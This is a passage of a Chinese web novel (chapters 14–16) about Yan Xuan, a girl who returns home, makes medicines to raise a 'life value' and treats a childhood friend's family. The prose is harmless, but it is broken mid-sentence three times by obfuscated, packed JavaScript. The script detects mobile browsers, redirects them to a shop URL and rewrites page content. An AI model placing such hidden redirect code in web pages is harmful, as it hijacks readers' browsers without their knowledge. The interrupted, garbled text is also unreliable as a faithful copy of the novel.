卢晚茵来了两回喊人吃饭,见女儿一直窝在药房里。别的姑娘家爱好的东西,她家阿璇似乎都不怎么感兴趣,从前一个人在院子里发呆玩耍,现在的精力则全放在了炼药上。也好,总归是她开心最重要。 卢晚茵往门里瞧了一眼,并未打扰,让小荷端了些晏璇平时爱吃的东西送进去。 一下午都在筛药、碾药、搓药,晏璇最后把药丸装好瓶的时候,整个人如一条咸鱼瘫在躺椅上发呆。小荷见了,走过来偷偷推了一把摇椅。 于是,晏璇前前后后晃荡起来。 她侧头睨了小丫头一眼:“调皮的小家伙。” 小荷嚯嚯嚯地笑起来,一点都不怕她。 “喏。”晏璇拾起一旁的药瓶给她,“糖丸,每天吃一粒。要是喜欢,可以多吃一粒。” 一直开心笑着的人突然闭了嘴,有些警惕地盯着她手上的东西。 晏璇一愣,心里像被人用钝槌划了一下,不痛但是刮得难受。 她拿下瓶塞,取了一粒丢在嘴里,含含糊糊道:“润喉的,你要是不想要,我就送给林叔去。” 说完,她拿过东西欲起身。 “要!”小荷扑过来,抓住了她的衣角。 晏璇松了口气,见她小心翼翼地捧过,犹豫半晌,学她的样子取了一粒药丸丢在嘴里。 良久,才见小丫头动了动嘴,吐了下舌笑道:“甜,甜的。” 晏璇摸摸她的头,笑叹:“走了,我饿了,吃饭去。” 【有新的提示:素手仁心,生命值加0.5%。】 * 雾山顶上。 “珎儿,珎儿?”孟尧用筷子敲了敲桌面。 “嗯?师父?” 孟珎捧着饭碗,有些怔愣地抬头。 自从阿璇走了,大徒弟发呆的时间越来越多。他存了什么心思恐怕连他自己都还没明白,他这个差不多一手养大他的师父却看在眼里。 孟尧放下碗筷,故作凝重道:“我收到金鹄传信,想命你去一趟南塘,你可有异议?” 孟珎低下头:“……没有。” 如此敷衍的态度孟尧也是首次见,他挑了挑眉:“那孩子的病甚是蹊跷,我本想要你和阿璇一同前去,谁知斛县那边出了意外。” 孟尧瞥一眼徒弟握着的拳头,叹息:“哎,这次一别,阿璇怕不是要定了亲才能回来。” 孟珎:“……” “她爹娘见识多自不会让她吃亏,就怕走了眼,这世俗的男子也不知会不会嫌弃阿璇身体单薄羸弱,她向来……” “师父。”孟珎突然拔高声音,打断了孟尧,“南塘距离雾山路途遥远,我想明早便出发。” 孟尧心中暗笑,面上镇静道:“好,一路小心。” 翌日,孟尧还在梦乡,孟珎已踏上了南下的路。 14. 第 14 章 静谧微暗的室内,窗外日光透过纱帘落在书案上,一层朦胧的金色微茫散在少年展开的画卷上。 画中女孩托着腮,双眼微阖,百无聊赖地望着画外。一身青衫丝锦裙稍显瘦弱,头发简单盘在头顶,其上斜插着一根朴素木簪子,簪饰倒有些特别,是一只小巧的浅色葫芦。 少年抚着画卷,轻问:“你见到她了吗?” 下首一人躬身立着:“没有。据说一直在外求医,不日便会归家,老奴回时还未见到。” “她……”少年轻点画面,“长得可还像?” “眉眼像她母亲,鼻子、嘴角很像大爷。” 少年合上画卷,闭眼轻捏眉间,半晌睁眼道:“隶叔,再送一株红珊瑚去莫问楼,请他们即刻行动。” “莫问楼是江湖中人,让他们帮忙……会不会兴师动众了些,老爷就算不认也不至于出手做什么……” 少年摇头:“我怕的不是祖父,也不会让他知晓。” 陆隶微颤着唇:“毕竟是大爷的骨血啊……” “骨血啊……”少年轻声笑了,“隶叔忘了当年那人是如何被血缘‘抹杀’的,你念着故主情谊求慰藉,她,怕不是恨我们入骨。” 陆隶还想再说什么,少年抬手制止。 “若还想她在某处安然,尽早派人过去才是。那位……怕不是蠢蠢欲动了。” 说着,他叹了声:“这么多年的寻访,也不知是对是错。” “是少爷宅心仁厚成全了老奴的执念。” “毕竟,她也是我姐姐啊。” 陆佑独坐窗前凝视良久,他按了按发僵的双腿,想象着南边的春日景象,一名少女漫步其中。 她会是一个什么样的人呢? 晏璇用被子蒙住脑袋在床上滚了一圈,那道叽叽喳喳的声音始终在耳旁吵个不停。 “啊,救命。” 难得能睡个好觉,又没有迫切需要做的事,她真的不想起床。 “小荷,不要吵,让我再睡会,就一会……”晏璇嘟嘟囔囔,转过身继续窝在被窝里。 “小荷,把她的被子撤了。” “啊,哦。” 晏璇感到整个人连带着被子在床上转了一圈,有人在扒拉她的腿脚。这小孩,真是过分了,她向来不用身份压人,难不成为了睡个觉要仗势欺人一回? 晏璇皱了皱眉,从喉咙里挤出几个字:“不要闹了!”不想,她一下子被掼在床板上,怀里一空,她披头散发四仰八叉地摔躺在那。 “醒了没?”有了捏了捏她的耳垂。 晏璇半睁开眼,卢晚茵一脸慈爱地看着她,仿佛朦胧中散发着佛光。晏璇心里咯噔,每当她娘这么对她笑的时候就没什么好事。是谁说离家久归的孩子都是父母掌心宝,她才回家一天,她娘就不耐烦了。 晏璇揉揉眼睛,强打起精神:“是娘啊。” 卢晚茵理了理她的乱发,捏住她的脸颊:“昨天不是说好跟娘一起去铺子的,你看现在什么时辰了?” 晏璇转头看外面的天光,对上小荷歪着头的大笑脸。 “快,快午时了。” 晏璇:“……”她觉得自己根本没睡多久。 小九:【宿主,你回家之后便懈怠了,接下来可有什么计划?生命值提升仍旧迫在眉睫啊。】 晏璇头疼:【你等着,我现在就去马路上扶老太太。】 卢晚茵按着晏璇在梳妆台前给她盘发:“从前在雾山,你说不方便戴首饰怕丢,现在在家总可以了。这个玉葫芦,娘看你戴了好久。” 晏璇摸了摸头上的发簪:“好看,喜欢。” 卢晚茵瞧着镜中女儿的神色,问:“是你那个孟师兄送的?” “一半一半,算我同他要的。他说要送我一件及笄礼,我自己挑的这个。娘,这葫芦是不是很小巧可爱?” 晏璇拨弄着妆奁里的玉珠,脸上无半分女儿家的害羞扭捏。 卢晚茵暗舒一口气,对阿璇的感情事她果真是想多了,之前被晏时蕴一闹,害得自己也失了冷静。 虽然晏璇起晚了,卢晚茵还是带她来了街上。 路上有马车扬鞭而过,差点撞到了路旁摆摊的老太,晏璇一个眼疾手快半抱住对方以免她倒摔。 老人惊魂不定,感激道:“谢谢小姑娘。” 【有新的提示:尊老爱幼,生命值加0.1%。】 晏璇:“……”她之前真是说说而已。 “您没事就好。”卢晚茵笑着和人寒暄了下,推着女儿进了旁边的首饰铺。 “老板娘,今天有空来我店里逛逛?”老掌柜走出柜台,热情相迎。 卢晚茵微笑以对:“带女儿来挑些首饰,今天怎的是董老板在店里?” “儿子有事要去一趟亲家。”老董打量了一眼晏璇道,“小姑娘都长这么大了,老板娘有福了。喜欢什么样式的首饰,老董帮你们看看。” “她啊,不喜欢太张扬的,就喜欢一些有巧思的小东西。” 晏璇就像一位陪女性逛街的无趣直男,乏味又无奈地跟在卢晚茵身后。卢晚茵在店里逛了一圈,拣了一副珍珠耳坠在端详。 “老板娘好眼光,这款耳坠是最近才上的,简单大方,不少夫人都钟爱。” 卢晚茵迟疑道:“这……多年前,我好像在董老板这里定过一幅耳坠,刚刚就是觉得眼熟。” 老董愣了下,笑道:“想来老板娘没记错,这耳坠就是之前有客人来问是不是咱们店里的,还问有哪些客人买过,这老董哪能还记得。后来他说要一副新的,店里才重新制了一批新货。” “这样啊……” 卢晚茵依稀想起那副耳坠是去了那儿后丢的。 “老板娘,这耳坠很适合小姑娘,要不要试一试?” “哦,不了,我再看看发簪。” “好好,你慢看。” 又是一番磨蹭,卢晚茵最后挑了一枚珠花、一串璎珞和一只玉手镯。 “娘现在要去自家铺子,你想跟着去还是想回家?”卢晚茵问道。 “唔,我想再逛一会。” “也好,逛完了早点回家。” 说着,卢晚茵拿出一个沉甸甸的荷包放在她手心:“看着花。” 晏璇:“谢谢娘。” 在买了一堆零嘴,小荷都快空不出手拿的时候,晏璇停在了路边。 小荷仰头看她:“小,小姐,去哪?” 晏璇撩开面前的幕离,望着眼前的金色招牌道:“吃饭!” 时隔多年,没有说相声的小哥哥在门口迎客了,晏璇在伙计的招待下坐到了二楼靠窗的一个位置。 “店里有什么招牌菜?”晏璇问。 伙计笑呵呵道:“宝仙楼里有八仙,管您吃好喝好赛神仙。” 虽然不唱戏了,编口号的传统还在。 晏璇掩嘴轻咳了下:“哪个八仙?说来听听。” “太湖的鱼,东海的参,云州的米,南塘的酒,有甜有辣,有蒸有炒,鸡鸭鱼肉,应有尽有。” “那就来只鸡,来只鸭,一盘时令蔬菜,一碟下酒小菜,再来一壶桃花酿。” “好嘞,您稍等。” “等等。”突然,一道慵懒低沉的声音传来,“桃花酿虽入口香甜可后劲不小,给这位小姐换一壶青梅酒。” 晏璇侧头,见一位穿着墨色织锦长袍的男子正步上二楼,手中一把乌木折扇,扇面是红梅三两枝,他边摇扇边笑着迎上来。 “少东家。”伙计忙喊了声。 男子挥挥手:“去吧,照我说的。” 晏璇沉吟不语,林叔说宝仙楼是她家的,那这个男的是谁?她略一思索,差点忘了她爹还有个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晏璇想了想:“偶尔还是会离开的,回去看看师父,或者做个游医?” 梅玉彦讶异:“怎么,久病成医,自个还成大夫了?” “算是学了点东西,梅哥哥要是想找我看病,只收你半价。” “小财迷,哥哥我不差你这点钱。” 没过一会,伙计陆续上完了菜。 梅玉彦问:“还想吃些别的吗?我请客。” 晏璇笑:“在自家店里还要掏腰包?” “可不是。我爹和你爹是谁,一毛不拔。” “对你是一毛不拔,对我,爹爹和梅伯伯才不会。” 小荷坐在一旁,吃着手里的烧鸡,看看晏璇,又看看梅玉彦,还没搞明白他们怎么一下子有说有笑的了。 梅玉彦端起酒杯小酌一口,随后叹道:“小时候你还喊我玉彦哥哥,现在却只喊我梅哥哥,是不是在外头有了新的哥哥?” “我们长大了,改口很正常。至于别的哥哥……” “别的哥哥,是哪个?” 晏璇轻抿一口青梅酒,酸酸甜甜的,她笑着摇头未语。 这么多年,她就叫过那人哥哥,只是认识的第二天就改口喊师兄了。 梅玉彦静静看着她,从前柔弱的小姑娘长成了言笑晏晏的大姑娘,不管外貌如何变化,她自有一种无畏的坚定,眼神如炯炯明珠深远有力。 此时,她双颊微醺,忆起某人放松惬意的姿态,看来那个哥哥真的不一般。 晏璇欲举杯再饮,梅玉彦拿扇子敲了敲她的手背。 “不过三杯的酒量,再喝就醉了。我让人给你煮了解酒汤。” ——以后,只准喝甜酒,不准超过三杯。 晏璇愣愣看着梅玉彦,脑袋里却响起了孟珎的声音。 “师兄……” 梅玉彦疑惑看她:“什么?” 晏璇抿抿嘴:“没什么,吃饱喝足困了,想回家了。” “懒丫头,一会送你回去。” “好啊。” 晏璇无赖笑笑,又看着小荷满嘴油光地吃着烤鸭,纯粹而快乐。 师兄啊,师兄,他现在在做什么呢…… 15. 第 15 章 等晏璇在店里酒醒,梅玉彦备了马车送她回去。 两人重新见面不久,小时候的熟悉感似乎回来了不少。那时的晏璇满脑子都是对短命的焦虑,即使犯懒摸鱼,也是边焦虑边摸鱼,她并没有想和外头的小崽子们玩到一处。小朋友们的爹娘知道晏璇是个弱不禁风的病丫头,也不想孩子和她玩在一起,一是怕过了病气,二是怕晏璇出了意外对方怪罪到自家身上,久而久之,晏璇就落单了。 而梅玉彦是个例外,他俩家比邻而居,比起其他人自然亲近了些。小时候的梅玉彦长得结实,是实打实的胖墩。开始他会嫌弃晏璇怀疑她不好好吃饭,见她就骂她挑食鬼,后来知道了原因,他就没再说过她,常常以兄长自居叫她注意这个,小心那个,偷偷给她带一些稀奇古怪的吃的和玩的。父母皆以为她性情温顺,只有他窥到了一点晏璇骨子里的恣意。 路上,几人顺道又去了一趟药铺。晏璇手头存货不多,交付品贤阁的药还需几味珍贵药材,可一连去了两家铺子都没找齐她要的,果然这事就不能临时抱佛脚。 梅玉彦见晏璇在药铺驾轻就熟的样子,对她表示了不小的惊讶,这丫头恐怕不只是学了一点,而后他提到有几个行商的朋友路子广,会帮她留意那些东西。 梅玉彦能帮忙,晏璇自是感激。 梅玉彦则拿扇子敲了敲她的脑袋:“既喊我一声哥哥,便不能让你白喊。” 晏璇护住额头,瞪他:“不能敲了,再敲就变傻了。” “本来就没见多聪明。” “胡说,小时候我爹说我是东街最聪明的孩子。” “他哄你的,晏伯伯惯会跟你说好听的。” “这个另说,欺负捉弄人难道可以因为对方本身有难就变本加厉吗?你这是幼稚,诡辩。” “好好好,我错了。我赔不是。” 晏时蕴回家的时候,刚好看到两个孩子正你一言我一语地打着嘴仗。 见了来人,梅玉彦登时直了身行了礼:“晏伯伯,阿璇已平安归家,我便告辞了。” 几年前,随着梅玉彦的大哥娶妻,梅家就搬离了东街,寻了一处更大的院落。 晏时蕴笑着目送人离开,心头却是另一番感慨。若论年纪相近的青年才俊,小彦不失为合适的女婿人选,长相不俗,人品是从小有目共睹的,和阿璇又有总角之情,可他那个娘并不喜女儿家身体孱弱,梅家的大儿媳就是印证。如今阿璇身体虽养好了,不管是嫁还是招赘,他都不想令女儿有半点委屈。 罢了,世上的好男儿多的是,只当是有缘无分了。 “今日去哪玩了?”晏时蕴笑问女儿。 “随便逛了逛,先随娘亲去了趟首饰铺,之后就是去宝仙楼吃饭,这才遇到了梅哥哥。” 晏璇顿了顿问:“爹是怎么想要把酒楼盘下的?” “哦,那个啊……”晏时蕴笑叹,“当时老板要举家迁走,酒楼一时无人接手。我记得你吃不得鱼却能吃虾,尤爱他家的芙蓉蒜虾,本想着去后厨讨个秘方,不料人家行规甚严不透露半分。你梅伯伯知晓了后便说,把店盘下来继续经营不就成了,于是就是如今这样了。” “因为一道菜?” 晏时蕴点点头,“今天去店里有没有吃上,口味可有变化?” “没有……下回再去。” 晏璇早忘了什么蒜虾,晏时蕴却因此买下了整个店。一时之间不知该感动,还是该惊叹她爹这种霸气的行动力。 晚间,一家人坐在一起吃饭。晏璇不怎么饿,便陪在一旁喝些汤水。 她环顾一周,道:“林叔又不和我们一起用饭。” 晏家人少,院里不过一个看家的小厮,一个帮衬洒扫的婆子,贴身丫头只有小荷一个。林靖算是管家,晏家人却从不把他当外人看。 晏璇一直好奇林靖的来历,因此她还怀疑过爹娘是不是隐退江湖的高人,事实便是她想多了,大概是多年前她听她爹提起老家来信,才知她家是从某个大户人家分家出来的。 卢晚茵叹了声:“他啊,习惯了一个人。” 晏璇搅着碗里的勺子,眼珠一转:“那便给林叔找一个伴。” “什么?”晏时蕴差点被口中的食物噎住,放下筷子看她,“这话何意?” “你们不是要给我找意中人,那为什么不帮林叔也找一个,他都孤单影只了这么多年。” 晏璇刚出生那会,林靖也不过二十来岁风华正茂,如今也快到不惑之年了。 “你,你……”晏时蕴的眉毛都竖了起来,“你和你林叔怎可混为一谈!” 晏璇笑:“爹,这怎么叫混为一谈?你们为我着急,可林叔性子寡淡不善言谈,你们也得替他张罗,这对谁不是一件大事呢。” 看女儿浑不在意地撇嘴,这是还在怪他们擅自给她择婿。 卢晚茵按住了晏时蕴蠢动的手,对晏璇道:“你林叔无心成家又是男子,而阿璇不同,你是女孩受这世道诸多约束,爹娘可先帮你留心,至于喜欢与否,我们听你自己的。” 在他们家没有盲婚哑嫁算是幸运,可晏璇要的不是这样。 “娘,你给我选的那些我都不喜欢,为什么我一定要选一个呢?” 卢晚茵问:“阿璇可是害怕婚嫁之事?” 晏璇摇摇头:“我只是想……一个人也很好。” 夫妻俩看她半晌,晏时蕴终道:“若有一日我们走在你前头,你孤身一人,何以让我们安心?” 哎,这可真是一个亘古不变的催婚理由。 晏璇突然有些恶劣地说道:“要是……我走在你们前头呢?” “吧嗒”声响,桌上的杯筷纷纷滚落到地上,卢晚茵惊得咳了一声。 她一把拉过晏璇的手,啪啪啪三下就打在手背上:“呸呸呸,傻孩子,说什么胡话!快把话收回去!” 说出的话就没有收回的理。晏璇看着那两双忧惧的眼睛,心里到底是愧疚的,和他们理论可以,互相在心上割肉就过了。 “爹,娘,虽然我已经到了你们以为的那个年纪,可我觉得自己还小,很多东西都没明白。娘也知道这世间对女子总是苛刻,那就让我任性一回,这事我也并非全然厌恶,只是再缓一缓。不然,我等着林叔也成家了才甘心。” 林靖正拿着一封柬贴走进堂内,听到晏璇的话,猛得缩回了伸出的半只脚,他如一只惊到的狸猫,整个人向后一跳闪身不见了。 晏璇:“……” 接下来两日,没人提相亲招婿有关的事,可夫妻俩也像堵着一口气对她那晚的狠话很介意,两人少见的没有整日端着笑脸。 这找对象的事谁要找谁找,晏璇开了这个口后就一头钻进了药房。期间,梅玉彦来找了她几回,不是逛街就是游船,把那些小时候没机会做的事挑了几件来做。 这日,梅玉彦起了大早又敲响了晏家的大门。 晏璇才刚炼完两味药,困倦得很,对着梅玉彦哈欠连连。 “好妹妹,今日我来是有事想请你帮忙。”梅玉彦认真起来,轮廓分明的脸上幽静深邃,像青石板下的古井,危险得很。 晏璇抬手挡了挡他的脸:“别这么看着我。” 梅玉彦捉开她的手:“我说正经的。” 马车辚辚,晏璇晃悠地半靠在车内,吃着有人准备的刚出炉的梅花酥饼,一口一个喷香。 梅玉彦觑着她的脸色,觉着没什么异样才开口:“方才,我见你爹娘神色不豫,你同他们吵架了?” 吵架?在他们家不存在的,不过是生自己的闷气罢了。 “没有。”晏璇拿帕子擦了擦嘴,看一眼眼前风流倜傥模样的某人,哼了声,“还是你们做男人的好啊。” 梅玉彦拧眉:“别……可是我哪里得罪你了?” “谁都没得罪我,一时对男的不甚顺眼而已。” 梅玉彦:“……” 小小的抱怨过后,晏璇摆正态度:“先说好,我对女科并非擅长,只能尽我所能。” 梅玉彦眉眼灼灼:“我信你。” 见他这么说,晏璇不拿出点本事都觉得对不起师父。 马车直接驶进了梅家后院,入目郁郁葱葱的一片,比晏家宽阔气派许多。 晏璇背着她的小药箱被领进了一间内室,一道靓丽的身影坐在窗下。 她放下手中的花绷子,转过头来笑道:“妹妹来了。” 梅玉彦的大嫂玖筱筱,人如其名,袅袅婷婷,说起话来也是温温柔柔的。 晏璇客气应道:“筱姐姐好。” 她瞧了瞧姑娘的面色,顺手将药箱放到了桌上。 “姐姐可留有之前喝药的方子?” “有的。”玖筱筱唤了声丫头,从角落的箱柜里翻出两张笺纸。 晏璇接过,仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13116236|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细对比翻看了下。蛇床子、五味子、菟丝子、麦门冬、柴胡……倒是些治疗气虚血虚之症的。 “我再给姐姐号号脉。” 玖筱筱依言将手腕搁在脉枕上,晏璇垂着脸伸出三指切脉。 眼前人就是他们家玉彦的小青梅,玖筱筱含笑望着,没想到有这样的本事,只是确实瘦弱了些,怪不得玉彦和这孩子走得近,母亲却从未说过什么。玖筱筱思及此,嘴角划过一抹苦涩。 晏璇号完脉,又问了几个问题。 玖筱筱一一作答,那些问题她都快烂熟于心,本也没存什么希望,就只是借看病想看看梅家兄弟经常提起的小妹妹。 晏璇端起一旁的茶盏喝了一口,问道:“筱姐姐,梅大哥可在家?” “玉尧他早起去了铺子,一会便会回来。” “哦,那等他回来,一并把个脉吧。” 玖筱筱瞬间露出了一个微妙的表情。 晏璇轻轻合上茶盖,笑道:“姐姐你是断绪之症。我观你身体康健,原先底子该是极好的,是落胎那会没养好身子,加之忧虑过重,往后要放宽心才是。” 玖筱筱心跳蓦的快了两分,虽然晏璇没承诺什么,可就是觉得自己的病有了希望。 晏璇在这里喝了两盏茶,吃了好些点心,梅玉尧才风风火火地赶回了。 玖筱筱忙起身,推着自家夫君说了会悄悄话,才走到晏璇跟前。 梅玉尧早听梅玉彦说她回来了,想起小时候的情谊,脸上露出笑意:“璇妹妹,多年不见当刮目相看。” 晏璇小声哼哼:“别听梅哥哥瞎说,行不行的,还得看将来。” 总觉得这句话有些歧义。 梅玉尧轻咳下:“筱筱说,你要给我号脉?” “嗯,梅大哥,坐下吧。” 自玖筱筱不慎小产,夫妻二人多年未有子嗣,梅玉尧从未想过问题会出在自己身上。面对邻家妹妹疑似要给自己看那方面的病,饶是他平时再沉着冷静,面上也染上了赧意。 再看晏璇眼神坦荡,语气随意,梅玉尧只好暗暗咬牙强装镇定。 晏璇低头忍住了笑意,哎,这男人莫名的自尊心啊。 待把过脉,晏璇点了点头,提笔写下一张药方。 梅玉尧夫妻虽没多问,可眼神里的期待犹在。 晏璇将方子交到玖筱筱手上:“按上头的,每日熬一碗汤药给梅大哥服下。我回去给姐姐做些蜜丸子,一日两服,先调养个月余看看。” 夫妻俩对看一眼,倍感意外,梅玉尧顾不得那点拘谨开口道:“璇妹妹的方子真的可行?” 晏璇收好自己的药箱,回看他俩:“且行且待。最重要的还是你们二人都不要忧思过重。” 【有新的提示:妙手回春,生命值加0.2%。】 晏璇撇撇嘴,她这药丸还没搓出来,生命值就加上了。 小九:【这是梅玉尧的加分,之前还没有大夫给他看过病。】 晏璇:感谢以往世界的科普知识。 出了梅家上了马车,梅玉彦送晏璇回去。 “明日,我请你去纤云坊听戏怎么样?” 晏璇摆弄着桌上的一只机关小狗,全身以榫卯构造相连,然而四肢却能灵活摆动。 梅玉彦见她玩得入迷都没应他的话,便道:“小玩意,你喜欢就拿去。” “突然就不喜欢了。” 梅玉彦:“……”这是在闹脾气呢。 “刚刚我说,明日去纤云坊看戏,你去还是不去?” “去吧。” “一会路过点心铺,再买些你爱吃的梅花酥饼。合意饼和七巧点心也买一些,我记得卢姨喜欢吃。” “你怎么这么清楚我娘的口味?” “直说你买不买吧?” “……买。呃,反正顺路,再去一趟酒肆,那儿的菖蒲酒也不错。” 菖蒲酒,是晏时蕴平时爱喝的。 梅玉彦支着头,斜睨着晏璇轻笑。晨间,也不知是谁说没跟家人吵嘴。 晏璇侧过身,撩开马车帷幔,微风拂过窗口吹散她颊上的热意。 街市上有几个黑衣随从护着一个着青色长袍的男子走来,与梅玉彦的马车堪堪擦过。晏璇下意识垂眸,对上了一双如蛇一般冰冷锐利的眼睛。 她的心突地一跳,立刻放下帷幔,阻隔了那道令人不适的视线。 16. 第 16 章 晏璇左手提着点心,右手提着一壶酒并两包荷叶包,里头的脂香味混着酒香扑鼻而来。看门的小厮帮她开了门,说着“小姐回来了”。 晏璇颔首而过,脚下步子一顿,问道:“你的腿怎么了?” 小厮抚了下左膝盖,有些局促道:“小的昨夜贪凉受了点寒,今日就……” “是旧伤?摔的,磕的,还是被外物伤的?” “是两个月前追那偷儿不小心摔的,本来都养好了。” 两个月前?偷儿? 晏璇想了想问:“可是家里丢了画那次?” “是。怪小的没看好家,害小姐丢了东西。”小厮忐忑不安道,“您要怎么罚都可——” “罚你做什么。”晏璇打断他的小心翼翼,“对方趁爹娘不在显然是有备而来,林叔说只丢失了一些银钱,说明你发现得及时。” “那人是后半夜闯的宅子,小的刚好起夜,发现书房内有异响追过去还是晚了。” 晏璇点点头,看了他的腿一眼:“平日里可以煮些黑大豆汁来喝,养一养。” “……是,好!谢谢小姐!”小厮瞥见晏璇身上的药匣才想起她是懂些医术的。 晏璇跨过门槛,望了眼自家陈旧掉漆的大门。若那小偷是蹲点冲着她家来的,进来真的只会偷走她的一张画像? 书房里,她爹值钱的东西不少,但凡被偷的是某个名家的作品,她都不再多想一下。或许丢的是跟自己密切相关的东西,心里说着都过去了还是时不时会在意。 晏璇把提回来的东西交给小荷,转身进了药房。搓不完的药,根本搓不完。 小九:【宿主,加油,你现在的技术越来越好了。】 晏璇丢开搓丸板,往后一靠:【得加钱,必须得让品贤阁加钱。】 在雾山的时候还可以上山采药,回了斛县全靠药铺药堂两头跑。她爹娘再有钱也不能这样花,只好拿金雀山庄开刀了。 小九:【宿主决定了什么时候去交货?之前都是孟珎替你跑的腿。】 是啊,师兄在时,她只需一门心思在炼药上。缺药材的时候,他帮自己去找,他自己空闲了又来帮着碾药,等药成了,他就替自己跑云州。 晏璇屈指在桌案上敲了敲:【他们认牌不认人。物以稀为贵,我是不是可以压一压这药的供量?】 小九:【可是,宿主是为了赚功德分,眼下应该多行善积德才是。】 晏璇:【……】 她瞥了眼头顶高亮的数字,突然感到有些胃疼,生命诚可贵啊…… 卢晚茵进屋的时候,晏璇趴在案上睡着了。屋里弥漫着苦涩的药味,药炉上还冒着缕缕轻烟。 女儿小小的一团蜷着,眼下还有些青黑,卢晚茵想要拍醒她而抬起的手落下了,轻抚她柔软的额发。晏璇说她还小什么都不懂,这十几年里,她作为母亲教过她什么吗?好像都有又好像没有。 卢晚茵一心盼望的是晏璇有个好身体,其他的都是次要,可真的等她好了,就忘了最初说过的话发过的誓。她变得和普天下的父母一样,开始为女儿选择她觉得正确的道路。她和晏时蕴的本意是想找一个能照顾她的,就在他们眼皮子底下,故而一开始就打的招赘的心思。可她的阿璇是和别人不一样的,她独自忍过了多年的病痛,外表或还是柔弱模样,却有一颗经过锤炼的玲珑心。 “娘……” 晏璇眯了没多久,感到身边一阵窸窣声响,多年浅眠的毛病还在。她一睁眼,就瞧见卢晚茵低头看着她,眼底还有些发红。 卢晚茵若无其事地眨眨眼,直起身子道:“怎么不去房里睡?在这也不怕着凉。” “想靠一会,就不小心睡着了。” “做什么这么急?”卢晚茵看着案上的瓶瓶罐罐,“这些都是你同药堂的生意?” 她已经听林靖说了,女儿去药堂自荐被挑剔考问了好一番。 晏璇摇摇头,药堂需求量大,她一个人难为,掌柜的也更希望她能坐诊,斛县至今还没有女医师。 “这些,是给梅大哥的夫人的。” 梅玉尧的夫人……卢晚茵还是知道几分的,若不是小彦她娘表现太过,那孩子这些年也不会落得郁郁寡欢。卢晚茵轻叹一声的同时,看向自己的女儿,她脸上虽有惫色可眼睛有神,这是因为她在做着自己喜欢的事。 卢晚茵终是后悔了,她不该操之过急,阿璇一直这样就好。 “娘,”晏璇凑过来,挽上她的胳膊,“我带了你喜欢吃的点心回来,你尝了吗?好不好吃?” 卢晚茵低头看她,笑意忍不住涌上来,孩子长大了,会哄人了。 “阿璇,以后你想做什么便做什么,不想的事,爹娘也不逼你。”卢晚茵摸着她翘起的发尾,“从前,我们就答应你的。” “哦,谢谢娘。”晏璇心口酸软,她伸出手抱住卢晚茵,将头深深埋在她的颈间。 晚上,晏家所有人聚在一起吃饭。 晏时蕴兴致高,拉着林靖一定要喝两杯。一开始,林靖还能推拒以茶代酒,喝着喝着,两人的杯就碰到了一起。一个喊着他家女儿多好啊,谁都配不上,一个默默点头应是,遗憾不能教她武功,幸好半路捡了一个。 晏璇捂了脸,完全不想听他们在咕噜什么。卢晚茵笑着摇了摇头,让阿婆去准备些醒酒汤。 小荷啃着晏璇买回来的卤猪蹄,歪头盯着她:“小,小姐,脸好红。” 晏璇睨她一眼:“吃你的!” 小小的堂屋内,一时杯盏声笑闹声不断,比年节那会还要热闹。 第二日,梅玉彦依言来带晏璇去听戏。 出门口的时候,晏璇递给小厮一盒膏药:“每日在伤处涂一回即可。” 对方又是一番感激涕零,晏璇听不得那些,挥了挥手赶紧逃也似的跑了。 梅玉彦在一旁笑她:“干什么这副样子?明明是好事却被你弄得像做了亏心事。” 晏璇微撇了下嘴,自己可不是什么纯善之人,不过是等价交换。 【有新的提示:关怀友爱,生命值加0.1%。】 听,这就是她的真面目,可是没人能知道。 “你嫂嫂的药,制好了,给。”晏璇将一个珍珠白的瓷盒放到梅玉彦手中,撩起帷帐,先一步上了马车。 “今天除了听戏,还有什么想要想玩的,都听你安排。”梅玉彦笑着紧随其后。 马车过街角,来到闹市旁的纤云坊,其实这是座二层楼的茶楼。 纤云弄巧,鹊桥相会,可这坊里唱的不只是《牛郎织女》。掌柜缪飞星看着梅玉彦领着一个戴帷帽的姑娘,笑着迎上前来。 她不动声色地打量了晏璇两眼,小姑娘一身玉色衣衫,腰系浅紫色丝带,外挂竹青色囊袋,手里把玩着梅花扇,不见多婉约乖顺,端的是哪家风流小公子的气度。 “梅二少爷,来听戏?”缪飞星道。 梅玉彦点点头:“要个靠窗的好位置。” 缪飞星一抬手:“两位这边请。” 晏璇和梅玉彦被引到了二楼靠闹市一侧的位置,开窗就可以看到街上的人流。 “好戏即将开场,二位稍待片刻,有什么尽管吩咐。” “来纤云坊,除了听戏,当然是喝茶。老板娘,先来一壶玉露。”梅玉彦笑道。 缪飞星勾唇:“好。” 晏璇望着缪飞星娉娉袅袅的背影,收回视线,“哗”的打开折扇:“好一个绰约多姿的美人。” 梅玉彦看了直摇头,屈指扣在她的额上,一把抢过扇子:“玩够了。” “只许你们男的摇扇装风流,不许我们女的也欣赏佳人吗?”晏璇睇了梅玉彦一眼。 “装出来的风流不叫风流,叫下流。” 晏璇瞪大了眼:“我可没有。梅哥哥你呢?整日里拿着这柄扇子作甚?” 梅玉彦:“……” “怎的不说话?有什么说什么,我不取笑你。” “……我内火旺,拿来扇风。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13145369|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 